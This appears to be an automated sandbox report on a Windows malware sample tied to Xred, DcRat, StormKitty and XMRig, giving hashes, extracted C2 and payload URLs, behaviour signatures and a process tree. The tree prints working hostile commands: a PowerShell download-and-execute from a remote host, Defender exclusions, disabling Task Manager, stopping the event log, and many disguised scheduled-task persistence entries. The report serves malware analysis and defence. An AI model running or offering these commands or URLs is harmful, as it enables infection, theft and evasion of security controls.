Overview

overview

10

Static

static

10

fcdcfc1ece...2f.exe

windows7-x64

10

fcdcfc1ece...2f.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250217-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250217-enlocale:en-usos:windows10-2004-x64system
  • submitted
    03/03/2025, 06:56

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    fcdcfc1ece209d59bc60808ff0bf3000563819fed794a3f4b48cf2be7d90f62f.exe

  • Size

    813KB

  • MD5

    7c9085b809fce3957fb26416999ab7b7

  • SHA1

    725b6af42ab7b2008b48f00e62bb68af2edc351f

  • SHA256

    fcdcfc1ece209d59bc60808ff0bf3000563819fed794a3f4b48cf2be7d90f62f

  • SHA512

    28c47f6659f35c17cfb3b93bba16a1121cf87c8b088c6dfc200fe112028222aa631ddcde16bb9e742a1e5b21e4bcd4c375b2d884ea1fe0ecbbffd565ec343be5

  • SSDEEP

    12288:1MSApJVYG5lDLyjsb0eOzkv4R7QnvUUilQ35+6G75V9VBR:1nsJ39LyjbJkQFMhmC+6GD9d

Score
10/10
dcratstormkittyxmrigxredbackdoordefense_evasiondiscoveryexecutioninfostealerminerpersistenceratspywarestealerupx

Malware Config

Extracted

Family

xred

C2

xred.mooo.com

Attributes
  • email

    [email protected]

  • payload_url

    http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978

    https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download

    https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=1

    http://xred.site50.net/syn/SUpdate.ini

    https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=download

    https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1

    http://xred.site50.net/syn/Synaptics.rar

    https://docs.google.com/uc?id=0BxsMXGfPIZfSTmlVYkxhSDg5TzQ&export=download

    https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1

    http://xred.site50.net/syn/SSLLibrary.dll

Signatures

  • DcRat 52 IoCs

    DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.

    ratinfostealerdcrat
  • Dcrat family
    dcrat
  • Process spawned unexpected child process 51 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • StormKitty

    StormKitty is an open source info stealer written in C#.

    stealerstormkitty
  • StormKitty payload 2 IoCs
  • Stormkitty family
    stormkitty
  • Xmrig family
    xmrig
  • Xred

    Xred is backdoor written in Delphi.

    backdoorxred
  • Xred family
    xred
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • DCRat payload 3 IoCs

    Detects payload of DCRat, commonly dropped by NSIS installers.

    rat
  • XMRig Miner payload 7 IoCs
    miner
  • Blocklisted process makes network request 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Creates new service(s) 2 TTPs
    persistenceexecution
  • Disables Task Manager via registry modification
    defense_evasion
  • Downloads MZ/PE file 13 IoCs
  • Stops running service(s) 4 TTPs
    defense_evasionexecution
  • Checks computer location settings 2 TTPs 9 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 12 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 11 IoCs
  • Looks up external IP address via web service 5 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Power Settings 1 TTPs 8 IoCs

    powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

    persistence
  • Drops file in System32 directory 4 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • UPX packed file 12 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Drops file in Program Files directory 10 IoCs
  • Drops file in Windows directory 2 IoCs
  • Launches sc.exe 4 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 18 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks processor information in registry 2 TTPs 4 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 50 IoCs
  • Modifies registry class 5 IoCs
  • Modifies registry key 1 TTPs 2 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 51 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 28 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\fcdcfc1ece209d59bc60808ff0bf3000563819fed794a3f4b48cf2be7d90f62f.exe
    "C:\Users\Admin\AppData\Local\Temp\fcdcfc1ece209d59bc60808ff0bf3000563819fed794a3f4b48cf2be7d90f62f.exe"
    1⤵
    • DcRat
    • Checks computer location settings
    • Adds Run key to start application
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:3444
    • C:\Users\Admin\AppData\Local\Temp\._cache_fcdcfc1ece209d59bc60808ff0bf3000563819fed794a3f4b48cf2be7d90f62f.exe
      "C:\Users\Admin\AppData\Local\Temp\._cache_fcdcfc1ece209d59bc60808ff0bf3000563819fed794a3f4b48cf2be7d90f62f.exe"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:1396
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c start "" "jdk/include/win32/bridge/Rar.exe"
        3⤵
        • System Location Discovery: System Language Discovery
        PID:5028
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" powershell -c irm web4200.craft-host.ru/crack/youtube | iex
        3⤵
        • Blocklisted process makes network request
        • Downloads MZ/PE file
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3284
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c irm web4200.craft-host.ru/crack/youtube
          4⤵
          • Blocklisted process makes network request
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2632
        • C:\ProgramData\Yandex.exe
          "C:\ProgramData\Yandex.exe"
          4⤵
          • Executes dropped EXE
          • Checks processor information in registry
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2012
        • C:\ProgramData\Telegram.exe
          "C:\ProgramData\Telegram.exe"
          4⤵
          • Checks computer location settings
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Modifies registry class
          • Suspicious use of WriteProcessMemory
          PID:3820
          • C:\Windows\SysWOW64\WScript.exe
            "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\hyperblockagentRefDll\68jFIeT0g2O7yNOidkNp7NM.vbe"
            5⤵
            • Checks computer location settings
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:824
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\hyperblockagentRefDll\7aY4koIasFqomWMXyiWo0dw.bat" "
              6⤵
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:3016
              • C:\Users\Admin\AppData\Roaming\hyperblockagentRefDll\agenthostcommon.exe
                "C:\Users\Admin\AppData\Roaming\hyperblockagentRefDll\agenthostcommon.exe"
                7⤵
                • Checks computer location settings
                • Executes dropped EXE
                • Drops file in Program Files directory
                • Drops file in Windows directory
                • Modifies registry class
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:2236
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\1j0MtW3zkh.bat"
                  8⤵
                  • Suspicious use of WriteProcessMemory
                  PID:2180
                  • C:\Windows\system32\w32tm.exe
                    w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
                    9⤵
                      PID:3496
                    • C:\Users\All Users\Microsoft OneDrive\setup\sppsvc.exe
                      "C:\Users\All Users\Microsoft OneDrive\setup\sppsvc.exe"
                      9⤵
                      • Executes dropped EXE
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:684
                • C:\Windows\SysWOW64\reg.exe
                  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
                  7⤵
                  • System Location Discovery: System Language Discovery
                  • Modifies registry key
                  PID:3484
      • C:\ProgramData\Synaptics\Synaptics.exe
        "C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate
        2⤵
        • Checks computer location settings
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Modifies registry class
        • Suspicious use of WriteProcessMemory
        PID:4740
        • C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe
          "C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe" InjUpdate
          3⤵
          • Checks computer location settings
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:4432
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c start "" "jdk/include/win32/bridge/Rar.exe"
            4⤵
            • System Location Discovery: System Language Discovery
            PID:4444
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" powershell -c irm web4200.craft-host.ru/crack/youtube | iex
            4⤵
            • Blocklisted process makes network request
            • Downloads MZ/PE file
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:3828
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c irm web4200.craft-host.ru/crack/youtube
              5⤵
              • Blocklisted process makes network request
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:3068
            • C:\ProgramData\Yandex.exe
              "C:\ProgramData\Yandex.exe"
              5⤵
              • Executes dropped EXE
              • Checks processor information in registry
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:5020
            • C:\ProgramData\lolz.exe
              "C:\ProgramData\lolz.exe"
              5⤵
              • Executes dropped EXE
              • Drops file in System32 directory
              • Suspicious behavior: EnumeratesProcesses
              PID:4448
              • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                6⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:3988
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
                6⤵
                  PID:4316
                  • C:\Windows\system32\wusa.exe
                    wusa /uninstall /kb:890830 /quiet /norestart
                    7⤵
                      PID:212
                  • C:\Windows\system32\powercfg.exe
                    C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
                    6⤵
                    • Power Settings
                    • Suspicious use of AdjustPrivilegeToken
                    PID:3676
                  • C:\Windows\system32\powercfg.exe
                    C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
                    6⤵
                    • Power Settings
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2624
                  • C:\Windows\system32\powercfg.exe
                    C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
                    6⤵
                    • Power Settings
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2588
                  • C:\Windows\system32\powercfg.exe
                    C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
                    6⤵
                    • Power Settings
                    • Suspicious use of AdjustPrivilegeToken
                    PID:8
                  • C:\Windows\system32\sc.exe
                    C:\Windows\system32\sc.exe delete "DQGNHXTQ"
                    6⤵
                    • Launches sc.exe
                    PID:4860
                  • C:\Windows\system32\sc.exe
                    C:\Windows\system32\sc.exe create "DQGNHXTQ" binpath= "C:\ProgramData\tyhfbhtderll\rcxpjaaawyeg.exe" start= "auto"
                    6⤵
                    • Launches sc.exe
                    PID:1488
                  • C:\Windows\system32\sc.exe
                    C:\Windows\system32\sc.exe stop eventlog
                    6⤵
                    • Launches sc.exe
                    PID:3100
                  • C:\Windows\system32\sc.exe
                    C:\Windows\system32\sc.exe start "DQGNHXTQ"
                    6⤵
                    • Launches sc.exe
                    PID:1708
                • C:\ProgramData\Telegram.exe
                  "C:\ProgramData\Telegram.exe"
                  5⤵
                  • Checks computer location settings
                  • Executes dropped EXE
                  • System Location Discovery: System Language Discovery
                  • Modifies registry class
                  • Suspicious use of WriteProcessMemory
                  PID:1608
                  • C:\Windows\SysWOW64\WScript.exe
                    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\hyperblockagentRefDll\68jFIeT0g2O7yNOidkNp7NM.vbe"
                    6⤵
                    • Checks computer location settings
                    • System Location Discovery: System Language Discovery
                    • Suspicious use of WriteProcessMemory
                    PID:1488
                    • C:\Windows\SysWOW64\cmd.exe
                      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\hyperblockagentRefDll\7aY4koIasFqomWMXyiWo0dw.bat" "
                      7⤵
                      • System Location Discovery: System Language Discovery
                      • Suspicious use of WriteProcessMemory
                      PID:3076
                      • C:\Users\Admin\AppData\Roaming\hyperblockagentRefDll\agenthostcommon.exe
                        "C:\Users\Admin\AppData\Roaming\hyperblockagentRefDll\agenthostcommon.exe"
                        8⤵
                        • Executes dropped EXE
                        • Suspicious use of AdjustPrivilegeToken
                        PID:4548
                      • C:\Windows\SysWOW64\reg.exe
                        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
                        8⤵
                        • System Location Discovery: System Language Discovery
                        • Modifies registry key
                        PID:396
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "taskhostwt" /sc MINUTE /mo 13 /tr "'C:\Recovery\WindowsRE\taskhostw.exe'" /f
          1⤵
          • DcRat
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:3048
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "taskhostw" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\taskhostw.exe'" /rl HIGHEST /f
          1⤵
          • DcRat
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:4572
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "taskhostwt" /sc MINUTE /mo 8 /tr "'C:\Recovery\WindowsRE\taskhostw.exe'" /rl HIGHEST /f
          1⤵
          • DcRat
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:316
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "spoolsvs" /sc MINUTE /mo 13 /tr "'C:\heraferinn\game\natives\spoolsv.exe'" /f
          1⤵
          • DcRat
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:1192
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "spoolsv" /sc ONLOGON /tr "'C:\heraferinn\game\natives\spoolsv.exe'" /rl HIGHEST /f
          1⤵
          • DcRat
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:396
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "spoolsvs" /sc MINUTE /mo 6 /tr "'C:\heraferinn\game\natives\spoolsv.exe'" /rl HIGHEST /f
          1⤵
          • DcRat
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:4240
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "winlogonw" /sc MINUTE /mo 11 /tr "'C:\Users\Public\qdn1l7zn.default-release\winlogon.exe'" /f
          1⤵
          • DcRat
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:3148
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "winlogon" /sc ONLOGON /tr "'C:\Users\Public\qdn1l7zn.default-release\winlogon.exe'" /rl HIGHEST /f
          1⤵
          • DcRat
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:4276
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "winlogonw" /sc MINUTE /mo 10 /tr "'C:\Users\Public\qdn1l7zn.default-release\winlogon.exe'" /rl HIGHEST /f
          1⤵
          • DcRat
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:4752
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 6 /tr "'C:\Recovery\WindowsRE\fontdrvhost.exe'" /f
          1⤵
          • DcRat
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:3040
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "fontdrvhost" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\fontdrvhost.exe'" /rl HIGHEST /f
          1⤵
          • DcRat
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:2388
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 13 /tr "'C:\Recovery\WindowsRE\fontdrvhost.exe'" /rl HIGHEST /f
          1⤵
          • DcRat
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:4340
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "powershellp" /sc MINUTE /mo 6 /tr "'C:\Users\Default\My Documents\powershell.exe'" /f
          1⤵
          • DcRat
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:2264
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "powershell" /sc ONLOGON /tr "'C:\Users\Default\My Documents\powershell.exe'" /rl HIGHEST /f
          1⤵
          • DcRat
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:3532
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "powershellp" /sc MINUTE /mo 8 /tr "'C:\Users\Default\My Documents\powershell.exe'" /rl HIGHEST /f
          1⤵
          • DcRat
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:2412
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 7 /tr "'C:\heraferinn\game\assets\RuntimeBroker.exe'" /f
          1⤵
          • DcRat
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:2304
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\heraferinn\game\assets\RuntimeBroker.exe'" /rl HIGHEST /f
          1⤵
          • DcRat
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:3228
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 8 /tr "'C:\heraferinn\game\assets\RuntimeBroker.exe'" /rl HIGHEST /f
          1⤵
          • DcRat
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:5096
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "backgroundTaskHostb" /sc MINUTE /mo 12 /tr "'C:\Users\Public\Music\backgroundTaskHost.exe'" /f
          1⤵
          • DcRat
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:4964
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "backgroundTaskHost" /sc ONLOGON /tr "'C:\Users\Public\Music\backgroundTaskHost.exe'" /rl HIGHEST /f
          1⤵
          • DcRat
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:3312
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "backgroundTaskHostb" /sc MINUTE /mo 8 /tr "'C:\Users\Public\Music\backgroundTaskHost.exe'" /rl HIGHEST /f
          1⤵
          • DcRat
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:4304
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "YandexY" /sc MINUTE /mo 11 /tr "'C:\Program Files (x86)\Windows Defender\fr-FR\Yandex.exe'" /f
          1⤵
          • DcRat
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:3864
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "Yandex" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Defender\fr-FR\Yandex.exe'" /rl HIGHEST /f
          1⤵
          • DcRat
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:1600
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "YandexY" /sc MINUTE /mo 5 /tr "'C:\Program Files (x86)\Windows Defender\fr-FR\Yandex.exe'" /rl HIGHEST /f
          1⤵
          • DcRat
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:3820
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "wininitw" /sc MINUTE /mo 6 /tr "'C:\Users\Default\Templates\wininit.exe'" /f
          1⤵
          • DcRat
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:3416
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "wininit" /sc ONLOGON /tr "'C:\Users\Default\Templates\wininit.exe'" /rl HIGHEST /f
          1⤵
          • DcRat
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:4548
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "wininitw" /sc MINUTE /mo 8 /tr "'C:\Users\Default\Templates\wininit.exe'" /rl HIGHEST /f
          1⤵
          • DcRat
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:2468
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "lsassl" /sc MINUTE /mo 5 /tr "'C:\Program Files\Mozilla Firefox\lsass.exe'" /f
          1⤵
          • DcRat
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:3064
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "lsass" /sc ONLOGON /tr "'C:\Program Files\Mozilla Firefox\lsass.exe'" /rl HIGHEST /f
          1⤵
          • DcRat
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:4360
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "lsassl" /sc MINUTE /mo 12 /tr "'C:\Program Files\Mozilla Firefox\lsass.exe'" /rl HIGHEST /f
          1⤵
          • DcRat
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:3024
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 10 /tr "'C:\Windows\en-US\RuntimeBroker.exe'" /f
          1⤵
          • DcRat
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:3912
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Windows\en-US\RuntimeBroker.exe'" /rl HIGHEST /f
          1⤵
          • DcRat
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:2464
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 7 /tr "'C:\Windows\en-US\RuntimeBroker.exe'" /rl HIGHEST /f
          1⤵
          • DcRat
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:3664
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "agenthostcommona" /sc MINUTE /mo 9 /tr "'C:\Program Files\Mozilla Firefox\uninstall\agenthostcommon.exe'" /f
          1⤵
          • DcRat
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:4792
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "agenthostcommon" /sc ONLOGON /tr "'C:\Program Files\Mozilla Firefox\uninstall\agenthostcommon.exe'" /rl HIGHEST /f
          1⤵
          • DcRat
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:4108
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "agenthostcommona" /sc MINUTE /mo 14 /tr "'C:\Program Files\Mozilla Firefox\uninstall\agenthostcommon.exe'" /rl HIGHEST /f
          1⤵
          • DcRat
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:1632
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "._cache_fcdcfc1ece209d59bc60808ff0bf3000563819fed794a3f4b48cf2be7d90f62f." /sc MINUTE /mo 14 /tr "'C:\Program Files\Java\jdk-1.8\._cache_fcdcfc1ece209d59bc60808ff0bf3000563819fed794a3f4b48cf2be7d90f62f.exe'" /f
          1⤵
          • DcRat
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:3688
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "._cache_fcdcfc1ece209d59bc60808ff0bf3000563819fed794a3f4b48cf2be7d90f62f" /sc ONLOGON /tr "'C:\Program Files\Java\jdk-1.8\._cache_fcdcfc1ece209d59bc60808ff0bf3000563819fed794a3f4b48cf2be7d90f62f.exe'" /rl HIGHEST /f
          1⤵
          • DcRat
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:4836
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "._cache_fcdcfc1ece209d59bc60808ff0bf3000563819fed794a3f4b48cf2be7d90f62f." /sc MINUTE /mo 13 /tr "'C:\Program Files\Java\jdk-1.8\._cache_fcdcfc1ece209d59bc60808ff0bf3000563819fed794a3f4b48cf2be7d90f62f.exe'" /rl HIGHEST /f
          1⤵
          • DcRat
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:2792
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "._cache_fcdcfc1ece209d59bc60808ff0bf3000563819fed794a3f4b48cf2be7d90f62f." /sc MINUTE /mo 12 /tr "'C:\heraferinn\game\._cache_fcdcfc1ece209d59bc60808ff0bf3000563819fed794a3f4b48cf2be7d90f62f.exe'" /f
          1⤵
          • DcRat
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:2888
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "._cache_fcdcfc1ece209d59bc60808ff0bf3000563819fed794a3f4b48cf2be7d90f62f" /sc ONLOGON /tr "'C:\heraferinn\game\._cache_fcdcfc1ece209d59bc60808ff0bf3000563819fed794a3f4b48cf2be7d90f62f.exe'" /rl HIGHEST /f
          1⤵
          • DcRat
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:4140
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "._cache_fcdcfc1ece209d59bc60808ff0bf3000563819fed794a3f4b48cf2be7d90f62f." /sc MINUTE /mo 13 /tr "'C:\heraferinn\game\._cache_fcdcfc1ece209d59bc60808ff0bf3000563819fed794a3f4b48cf2be7d90f62f.exe'" /rl HIGHEST /f
          1⤵
          • DcRat
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:3848
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "sppsvcs" /sc MINUTE /mo 5 /tr "'C:\Users\All Users\Microsoft OneDrive\setup\sppsvc.exe'" /f
          1⤵
          • DcRat
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:2152
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "sppsvc" /sc ONLOGON /tr "'C:\Users\All Users\Microsoft OneDrive\setup\sppsvc.exe'" /rl HIGHEST /f
          1⤵
          • DcRat
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:3652
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "sppsvcs" /sc MINUTE /mo 8 /tr "'C:\Users\All Users\Microsoft OneDrive\setup\sppsvc.exe'" /rl HIGHEST /f
          1⤵
          • DcRat
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:684
        • C:\Windows\system32\schtasks.exe
